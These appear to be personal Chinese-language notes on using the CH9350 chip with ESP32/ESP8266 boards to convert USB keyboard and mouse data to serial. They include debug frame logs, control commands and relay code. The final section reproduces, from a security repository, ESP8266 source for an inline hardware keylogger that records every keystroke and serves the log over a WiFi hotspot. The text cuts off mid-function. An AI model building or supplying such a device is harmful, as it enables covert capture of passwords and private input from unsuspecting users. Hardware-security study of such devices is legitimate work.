参开教程
https://oshwhub.com/Zoologist/esp32-shi-
未来理想
kmbox板子是这个配置ESP32+CH374U
硬件
CH9350
下位机状态下可以键鼠转串口
上位机状态下可以串口转键鼠,即模拟键鼠,
https://item.taobao.com/item.htm?_u=j1qf7bf595a4&id=597054931384
USB免驱动 Uart转HID 安卓模拟键盘鼠标 CH9329
串口转键鼠
https://item.taobao.com/item.htm?_u=j1qf7bf5e656&id=678502725576
1 调试
硬件设置
默认在下位机和工作做状态0 接收的是原始数据
工作状态2 输出的是相对位移
可以通过硬件开关选择在什么模式
惠普机械键盘测试用不了
打开串口调试助手
不断打印的是状态请求帧,若不想要可以给模块发命令取消这个打印。
设置数据
1 关闭状态帧
1.初始化时,使用下面的代码对于 CH9350 发送数据,这样 Ch9350只会发送有效的信息(就是说鼠标键盘有动作才会有数据出来)。
单片机代码
1 2 3 4 5 6 7 | char SwitchToMode1[] = { 0x57 , 0xAB , 0x12 , 0x00 , 0x00 , 0x00 , 0x00 , 0xFF , 0x80 , 0x00 , 0x20 }; for ( int i = 0 ; i < sizeof(SwitchToMode1); i + + ) { Serial2.write(SwitchToMode1[i]); } |
调试助手
1 | 57 AB 12 00 00 00 00 FF 80 00 20 |
1-1 工作状态模式选择
默认模式0 输出键鼠原始数据
模式2
2 数据解析
样例
1- 帧头 2- 0状态命令吗 3-后面数据长度 4-鼠标 端口2 5-键值 6-序号 7-字节校验
1 | 57 AB 88 0A 0010 0001 01 00 00 00 00 00 00 55 按键数值 + 序列号 01 + 55 = 56 |
1 2 | 57 AB 88 0A 21 01 00 00 00 00 00 00 55 56 57 AB 88 0A 21 00 00 00 00 00 00 00 56 56 |
有效键值帧参数介绍:
数据长度小于72字节,数据帧之间的发送间隔与所接设备属性有关,数据转发时按照实际的数据帧间隔发送。
1帧头 57 AB
2命令码:
下位机模式和上位机模式工作在状态1时命令码为0x83;
下位机模式工作在状态0时命令码为0x88,单独使用或用于KM热键切换应用中未与上位机端CH9350L建立通讯之前的热键检测,该数据不会被上位机端CH9350L传输给主机。
3键值:
下位机模式 状态0为键盘、鼠标原始的数据,
状态1为带有ID的键盘、鼠标数据;
上位机模式 状态0能接收的键值数据同状态2中的键值数据;
状态1能接收下位机端状态1发送的键值数据。
鼠标操作
鼠标移动
模式0应该是绝对
左键按下和弹起
帧头 0状态命令吗 后面数据长度 鼠标 端口2 数据 序号 字节校验
1 | 57 AB 88 0A 0010 0001 01 00 00 00 00 00 00 55 按键数值 + 序列号 01 + 55 = 56 |
1 2 | 57 AB 88 0A 21 01 00 00 00 00 00 00 55 56 57 AB 88 0A 21 00 00 00 00 00 00 00 56 56 |
右键按下和弹起
1 2 3 4 | 57 AB 88 0A 21 02 00 00 00 00 00 00 5B 5D 57 AB 88 0A 21 00 00 00 00 00 00 00 5C 5C 57 AB 88 0A 21 02 00 00 00 00 00 00 5D 5F 57 AB 88 0A 21 00 00 00 00 00 00 00 5E 5E |
滑轮按下和弹起
1 2 3 4 5 6 7 | 57 AB 88 0B 21 01 04 00 00 00 00 00 00 46 4B 57 AB 88 0B 21 01 00 00 00 00 00 00 00 47 48 57 AB 88 0B 21 01 04 00 00 00 00 00 00 48 4D 57 AB 88 0B 21 01 00 00 00 00 00 00 00 49 4A 57 AB 88 0B 21 01 04 00 00 00 00 00 00 4A 4F 57 AB 88 0B 21 01 00 00 00 00 00 00 00 4B 4C 57 AB 88 0B 21 01 04 00 00 00 00 00 00 4C 51 |
滑轮往前
1 2 3 4 5 6 | 57 AB 88 0B 21 01 00 00 00 00 00 01 00 93 95 57 AB 88 0B 21 01 00 00 00 00 00 00 00 94 95 57 AB 88 0B 21 01 00 00 00 00 00 01 00 95 97 57 AB 88 0B 21 01 00 00 00 00 00 00 00 96 97 57 AB 88 0B 21 01 00 00 00 00 00 01 00 97 99 57 AB 88 0B 21 01 00 00 00 00 00 00 00 98 99 57 AB 88 0B 21 01 00 00 00 00 00 01 00 99 9B 57 AB 88 0B 21 01 00 00 00 00 00 00 00 9A 9B 57 AB 88 0B 21 01 00 00 00 00 00 01 00 9B 9D 57 AB 88 0B 21 01 00 00 00 00 00 00 00 9C 9D 57 AB 88 0B 21 01 00 00 00 00 00 01 00 9D 9F 57 AB 88 0B 21 01 00 00 00 00 00 00 00 9E 9F |
滑轮往后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | [ 12 : 30 : 43.649 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 57 57 57 AB 88 0B 21 01 00 00 00 00 00 00 00 58 59 [ 12 : 30 : 43.704 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 59 59 57 AB 88 0B 21 01 00 00 00 00 00 00 00 5A 5B [ 12 : 30 : 44.230 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 5B 5B 57 AB 88 0B 21 01 00 00 00 00 00 00 00 5C 5D [ 12 : 30 : 44.623 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 5D 5D 57 AB 88 0B 21 01 00 00 00 00 00 00 00 5E 5F [ 12 : 30 : 44.717 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 5F 5F 57 AB 88 0B 21 01 00 00 00 00 00 00 00 60 61 [ 12 : 30 : 45.016 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 61 61 57 AB 88 0B 21 01 00 00 00 00 00 00 00 62 63 [ 12 : 30 : 45.088 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 63 63 57 AB 88 0B 21 01 00 00 00 00 00 00 00 64 65 [ 12 : 30 : 45.372 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 65 65 57 AB 88 0B 21 01 00 00 00 00 00 00 00 66 67 [ 12 : 30 : 45.417 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 67 67 57 AB 88 0B 21 01 00 00 00 00 00 00 00 68 69 [ 12 : 30 : 45.726 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 69 69 57 AB 88 0B 21 01 00 00 00 00 00 00 00 6A 6B [ 12 : 30 : 45.758 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 6B 6B 57 AB 88 0B 21 01 00 00 00 00 00 00 00 6C 6D [ 12 : 30 : 45.816 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 6D 6D 57 AB 88 0B 21 01 00 00 00 00 00 00 00 6E 6F [ 12 : 30 : 46.105 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 6F 6F 57 AB 88 0B 21 01 00 00 00 00 00 00 00 70 71 [ 12 : 30 : 46.142 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 FF 00 71 71 57 AB 88 0B 21 01 00 00 00 00 00 00 00 72 73 |
鼠标左侧前按键按下和弹起
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | [ 12 : 32 : 44.632 ]收←◆ 57 AB 88 0B 21 01 10 00 00 00 00 00 00 BD CE [ 12 : 32 : 44.752 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 BE BF [ 12 : 32 : 44.832 ]收←◆ 57 AB 88 0B 21 01 10 00 00 00 00 00 00 BF D0 [ 12 : 32 : 44.952 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 C0 C1 [ 12 : 32 : 45.228 ]收←◆ 57 AB 88 0B 21 01 10 00 00 00 00 00 00 C1 D2 [ 12 : 32 : 45.321 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 C2 C3 [ 12 : 32 : 45.408 ]收←◆ 57 AB 88 0B 21 01 10 00 00 00 00 00 00 C3 D4 [ 12 : 32 : 45.492 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 C4 C5 [ 12 : 32 : 45.841 ]收←◆ 57 AB 88 0B 21 01 10 00 00 00 00 00 00 C5 D6 [ 12 : 32 : 45.916 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 C6 C7 [ 12 : 32 : 45.988 ]收←◆ 57 AB 88 0B 21 01 10 00 00 00 00 00 00 C7 D8 [ 12 : 32 : 46.081 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 C8 C9 [ 12 : 32 : 46.312 ]收←◆ 57 AB 88 0B 21 01 10 00 00 00 00 00 00 C9 DA [ 12 : 32 : 46.408 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 CA CB [ 12 : 32 : 46.473 ]收←◆ 57 AB 88 0B 21 01 10 00 00 00 00 00 00 CB DC [ 12 : 32 : 46.544 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 CC CD |
鼠标左侧后按键按下和弹起
1 2 3 4 5 6 7 8 9 10 11 12 | [ 12 : 33 : 59.242 ]收←◆ 57 AB 88 0B 21 01 08 00 00 00 00 00 00 01 0A [ 12 : 33 : 59.382 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 02 03 [ 12 : 33 : 59.666 ]收←◆ 57 AB 88 0B 21 01 08 00 00 00 00 00 00 03 0C [ 12 : 33 : 59.782 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 04 05 [ 12 : 34 : 00.013 ]收←◆ 57 AB 88 0B 21 01 08 00 00 00 00 00 00 05 0E [ 12 : 34 : 00.106 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 06 07 [ 12 : 34 : 00.301 ]收←◆ 57 AB 88 0B 21 01 08 00 00 00 00 00 00 07 10 [ 12 : 34 : 00.422 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 08 09 [ 12 : 34 : 00.554 ]收←◆ 57 AB 88 0B 21 01 08 00 00 00 00 00 00 09 12 [ 12 : 34 : 00.646 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 0A 0B [ 12 : 34 : 00.778 ]收←◆ 57 AB 88 0B 21 01 08 00 00 00 00 00 00 0B 14 [ 12 : 34 : 00.902 ]收←◆ 57 AB 88 0B 21 01 00 00 00 00 00 00 00 0C 0D |
鼠标右侧两个按键没作用
鼠标滑轮后 两个按键 不记录了 数据超级长
鼠标移动
1 2 3 | [ 12 : 37 : 22.188 ]收←◆ 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 74 73 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 75 74 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 76 75 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 77 77 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 78 78 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 79 78 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 7A 79 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 7B 7A 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 7C 7C 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 7D 7C 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 7E 7E 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 7F 7D 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 80 80 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 81 81 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 82 82 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 83 82 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 84 83 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 85 84 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 86 85 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 87 87 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 88 87 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 89 89 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 8A 89 57 AB 88 0B 21 01 00 01 00 00 00 00 00 8B 8D 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 8C 8B 57 AB 88 0B 21 01 00 01 00 00 00 00 00 8D 8F [ 12 : 37 : 23.537 ]收←◆ 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 8E 8D 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 8F 8E 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 90 8F 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 91 90 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 92 91 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 93 92 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 94 94 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 95 94 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 96 95 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 97 97 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 98 97 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 99 99 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 9A 99 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 9B 99 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 9C 9C 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 9D 9D 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 9E 9D 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 9F 9E 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 A0 9F 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 A1 9F 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 A2 A1 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 A3 A2 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 A4 A3 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 A5 A3 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 A6 A4 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 A7 A5 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 A8 A6 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 A9 A7 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 AA A8 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 AB A9 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 AC AA 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 AD AB 57 AB 88 0B 21 01 00 01 00 FC FF 00 00 AE AB 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 AF AD 57 AB 88 0B 21 01 00 01 00 FC FF 00 00 B0 AD 57 AB 88 0B 21 01 00 01 00 FC FF 00 00 B1 AE 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B2 B0 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B3 B1 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B4 B2 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B5 B3 57 AB 88 0B 21 01 00 01 00 FC FF 00 00 B6 B3 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B7 B5 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B8 B6 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 B9 B7 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 BA B7 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 BB B9 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 BC BB 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 BD BA 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 BE BC 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 BF BE 57 AB 88 0B 21 01 00 01 00 FE FF 00 00 C0 BF 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 C1 C1 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 C2 C2 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 C3 C2 57 AB 88 0B 21 01 00 01 00 00 00 00 00 C4 C6 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 C5 C4 57 AB 88 0B 21 01 00 01 00 00 00 00 00 C6 C8 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 C7 C6 57 AB 88 0B 21 01 00 01 00 00 00 00 00 C8 CA [ 12 : 37 : 24.690 ]收←◆ 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 C9 C8 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 CA C9 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 CB CA 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 CC CB 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 CD CC 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 CE CC 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 CF CE 57 AB 88 0B 21 01 00 01 00 FF FF 00 00 D0 D0 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 D1 D0 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 D2 D0 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 D3 D1 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 D4 D3 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 D5 D3 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 D6 D4 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 D7 D5 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 D8 D6 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 D9 D7 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 DA D8 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 DB D9 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 DC D9 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 DD DA 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 DE DB 57 AB 88 0B 21 01 00 01 00 FD FF 00 00 DF DD 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 E0 DD 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 E1 DE 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 E2 DE 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 E3 DF 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 E4 E0 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 E5 E1 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 E6 E2 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 E7 E4 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 E8 E4 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 E9 E6 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 EA E6 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 EB E7 57 AB 88 0B 21 01 00 FF FF FC FF 00 00 EC E6 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 ED E9 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 EE EB 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 EF EB 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 F0 EC 57 AB 88 0B 21 01 00 00 00 FC FF 00 00 F1 ED 57 AB 88 0B 21 01 00 00 00 FD FF 00 00 F2 EF 57 AB 88 0B 21 01 00 FF FF FC FF 00 00 F3 ED 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 F4 F2 57 AB 88 0B 21 01 00 FF FF FD FF 00 00 F5 F0 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 F6 F4 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 F7 F5 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 F8 F6 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 F9 F7 57 AB 88 0B 21 01 00 FF FF FE FF 00 00 FA F6 57 AB 88 0B 21 01 00 FF FF FE FF 00 00 FB F7 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 FC FA 57 AB 88 0B 21 01 00 FF FF FF FF 00 00 FD FA 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 FE FD 57 AB 88 0B 21 01 00 00 00 FE FF 00 00 FF FD 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 00 FF 57 AB 88 0B 21 01 00 FF FF FF FF 00 00 01 FE 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 02 01 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 03 02 57 AB 88 0B 21 01 00 FF FF FF FF 00 00 04 01 57 AB 88 0B 21 01 00 FF FF FF FF 00 00 05 02 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 06 05 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 07 06 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 08 07 57 AB 88 0B 21 01 00 FF FF 00 00 00 00 09 08 57 AB 88 0B 21 01 00 FF FF 00 00 00 00 0A 09 57 AB 88 0B 21 01 00 FF FF FF FF 00 00 0B 08 57 AB 88 0B 21 01 00 FF FF 00 00 00 00 0C 0B 57 AB 88 0B 21 01 00 00 00 FF FF 00 00 0D 0C 57 AB 88 0B 21 01 00 FF FF 00 00 00 00 0E 0D |
键盘数据测试
1 设置键盘状态
有的键盘插上去,需要电脑端给与开启命名
比如惠普的机械键盘,插上去灯全黑,按键也没反应。
串口发送
1 2 3 | 全亮 57 AB 12 00 00 00 00 07 07 AC 20 |
、
键盘指示灯和大小写和流水灯全亮,然后按键才有反应。
普通的键盘不需要。
控制命令解析
停止输出状态信息
1 | 57 AB 12 00 00 00 00 FF 80 00 20 |
不同的灯和功能开启
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | 只亮大小写 开启大写 57 AB 12 00 00 00 00 02 07 AC 20 全不亮 57 AB 12 00 00 00 00 00 07 AC 20 只亮键盘灯 滚动 57 AB 12 00 00 00 00 04 07 AC 20 全不亮 57 AB 12 00 00 00 00 00 07 AC 20 只亮小键盘锁定 没反应?? 57 AB 12 00 00 00 00 01 07 AC 20 全不亮 57 AB 12 00 00 00 00 00 07 AC 20 小键盘锁定和滚动 这次小键盘锁定灯亮了 57 AB 12 00 00 00 00 05 07 AC 20 全亮 57 AB 12 00 00 00 00 07 07 AC 20 |
一般上电主动给键盘发送全亮,确保键盘起作用。
2 读取键盘数据
截取到的是 USB 键盘的数据,帧格式一般是这样的:
前面 6 位都是固定的,后面的 8 位是标准的 USB 键盘数据,最后 2 位是序列号和校验。
1 2 3 | 57 AB 83 0C 12 01 00 00 04 00 00 00 00 00 12 17 / / A键被按下 57 AB 83 0C 12 01 00 00 00 00 00 00 00 00 13 14 / / 按键被放开 |
大写ABCD
小写abcd
大小写无法用键盘开启了
shift就是shift按键,不能切换大小写。
程序
1 | # |
按键程序控制
https://oshwhub.com/Zoologist/esp32-shi-
// 设置接收数据回调函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | / / 数据接收回调函数 void OnDataRecv(const uint8_t * mac, const uint8_t * incomingData, int len ) { char * Starter = (char * )incomingData; if ( len > 72 ) { return ;} while (Starter < (char * )(incomingData + len )) { if (verifyData((char * )Starter, Starter[ 3 ] + 4 )) { for ( int i = 0 ; i < Starter[ 3 ] + 4 ; i + + ) { Serial. print (Starter[i], HEX ); Serial. print ( " " ); } Serial.println( " " ); / / 如果是鼠标 if (((Starter[ 4 ] >> 4 ) & 0x3 ) = = 0x2 ) { device.directMS((char * )&Starter[ 5 ]); } / / 如果是键盘 if ((((Starter[ 4 ] >> 4 ) & 0x3 ) = = 0x3 )||(((Starter[ 4 ] >> 4 ) & 0x3 ) = = 0x1 )) { device.directKB((char * )&Starter[ 5 ]); } } Starter = &Starter[Starter[ 3 ] + 4 ]; } / / while (Start < (incomingDatalen)) } |
ESP8266读取鼠标键盘程序
https://github.com/ffffffff0x/1earn/blob/master/1earn/Security/IOT/%E7%A1%AC%E4%BB%B6%E5%AE%89%E5%85%A8/HID/HID-USBKeylogger.md
我们要使用 CH9350 将 USB 键盘的 HID 协议转为 UART 协议,使用 ESP8266 解析和记录键盘输入内容,并且提供 WI-FI 访问功能,电路图和 PCB 图如下:
- 正中央的两颗芯片是 CH9350。根据官方使用手册,使用两颗 CH9350 分别作为连接键盘的下位机和连接电脑的上位机,统一使用 3.3V 降压模块进行供电。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 | #include <ESP8266WiFi.h> #include <FS.h> #include <ESPAsyncTCP.h> #include <ESPAsyncWebServer.h> const char * ssid = "USBKeyLogger" ; const char * password = "12345678" ; AsyncWebServer server( 80 ); File logFile; void setup() { Serial.begin( 115200 ); WiFi.mode(WIFI_STA); WiFi.softAP(ssid,password); SPIFFS.begin(); logFile = SPIFFS. open ( "/keyLog.txt" , "a+" ); server.on( "/" , HTTP_GET, [](AsyncWebServerRequest * request){ request - >send(SPIFFS, "/keyLog.txt" , "text/plain" ); }); server.on( "/clear" , HTTP_GET, [](AsyncWebServerRequest * request){ logFile.close(); logFile = SPIFFS. open ( "/keyLog.txt" , "w" ); request - >send( 200 , "text/plain" , "Log File Cleared!" ); }); server.begin(); } void loop() { while (Serial.available() > 0 ) { / / 57 AB 83 0C 12 01 00 00 04 00 00 00 00 00 12 17 if (Serial.read() = = 0x83 ){ delay( 10 ); if (Serial.read() = = 0x0C ){ delay( 10 ); if (Serial.read() = = 0x12 ){ delay( 10 ); if (Serial.read() = = 0x01 ){ delay( 10 ); Serial.read(); delay( 10 ); Serial.read(); delay( 10 ); logFile. print (getKey(Serial.read())); } } } } } } String getKey( int serialData){ if (serialData = = 0x00 ){ return "";} if (serialData = = 0x04 ){ return "A" ;} if (serialData = = 0x05 ){ return "B" ;} if (serialData = = 0x06 ){ return "C" ;} if (serialData = = 0x07 ){ return "D" ;} if (serialData = = 0x08 ){ return "E" ;} if (serialData = = 0x09 ){ return "F" ;} if (serialData = = 0x0A ){ return "G" ;} if (serialData = = 0x0B ){ return "H" ;} if (serialData = = 0x0C ){ return "I" ;} if (serialData = = 0x0D ){ return "J" ;} if (serialData = = 0x0E ){ return "K" ;} if (serialData = = 0x0F ){ return "L" ;} if (serialData = = 0x10 ){ return "M" ;} if (serialData = = 0x11 ){ return "N" ;} if (serialData = = 0x12 ){ return "O" ;} if (serialData = = 0x13 ){ return "P" ;} if (serialData = = 0x14 ){ return "Q" ;} if (serialData = = 0x15 ){ return "R" ;} if (serialData = = 0x16 ){ return "S" ;} if (serialData = = 0x17 ){ return "T" ;} if (serialData = = 0x18 ){ return "U" ;} if (serialData = = 0x19 ){ return "V" ;} if (serialData = = 0x1A ){ return "W" ;} if (serialData = = 0x1B ){ return "X" ;} if (serialData = = 0x1C ){ return "Y" ;} if (serialData = = 0x1D ){ return "Z" ;} if (serialData = = 0x1E ){ return "[1 or !]" ;} if (serialData = = 0x1F ){ return "[2 or @]" ;} if (serialData = = 0x20 ){ return "[3 or #]" ;} if (serialData = = 0x21 ){ return "[4 or $]" ;} if (serialData = = 0x22 ){ return "[5 or %]" ;} if (serialData = = 0x23 ){ return "[6 or ^]" ;} if (serialData = = 0x24 ){ return "[7 or &]" ;} if (serialData = = 0x25 ){ return "[8 or *]" ;} if (serialData = = 0x26 ){ return "[9 or (]" ;} if (serialData = = 0x27 ){ return "[10 or )]" ;} if (serialData = = 0x28 ){ return "[ENTER]" ;} if (serialData = = 0x29 ){ return "[ESC]" ;} if (serialData = = 0x2A ){ return "[BACKSPACE]" ;} if (serialData = = 0x2B ){ return "[TAB]" ;} if (serialData = = 0x2C ){ return "[SPACE]" ;} if (serialData = = 0x2D ){ return "[- or _]" ;} if (serialData = = 0x2E ){ return "[= or +]" ;} if (serialData = = 0x2F ){ return "[[ or {]" ;} if (serialData = = 0x30 ){ return "[] or }]" ;} if (serialData = = 0x31 ){ return "[\\ or |]" ;} if (serialData = = 0x32 ){ return "[` or ~]" ;} if (serialData = = 0x33 ){ return "[; or :]" ;} if (serialData = = 0x34 ){ return "[' or ”]" ;} if (serialData = = 0x35 ){ return "[~ or `]" ;} if (serialData = = 0x36 ){ return "[, or <]" ;} if (serialData = = 0x37 ){ return "[. or >]" ;} if (serialData = = 0x38 ){ return "[/ or ?]" ;} if (serialData = = 0x39 ){ return "[CAPS]" ;} if (serialData = = 0x3A ){ return "[F1]" ;} if (serialData = = 0x3B ){ return "[F2]" ;} if (serialData = = 0x3C ){ return "[F3]" ;} if (serialData = = 0x3D ){ return "[F4]" ;} if (serialData = = 0x3E ){ return "[F5]" ;} if (serialData = = 0x3F ){ return "[F6]" ;} if (serialData = = 0x40 ){ return "[F7]" ;} if (serialData = = 0x41 ){ return "[F8]" ;} if (serialData = = 0x42 ){ return "[F9]" ;} if (serialData = = 0x43 ){ return "[F10]" ;} if (serialData = = 0x44 ){ return "[F11]" ;} if (serialData = = 0x45 ){ return "[F12]" ;} if (serialData = = 0x46 ){ return "[PRT_SCR]" ;} if (serialData = = 0x47 ){ return "[SCOLL_LOCK]" ;} if (serialData = = 0x48 ){ return "[PAUSE]" ;} if (serialData = = 0x49 ){ return "[INS]" ;} if (serialData = = 0x4A ){ return "[HOME]" ;} if (serialData = = 0x4B ){ return "[PAGEUP]" ;} if (serialData = = 0x4C ){ return "[DEL]" ;} if (serialData = = 0x4D ){ return "[END]" ;} if (serialData = = 0x4E ){ return "[PAGEDOWN]" ;} if (serialData = = 0x4F ){ return 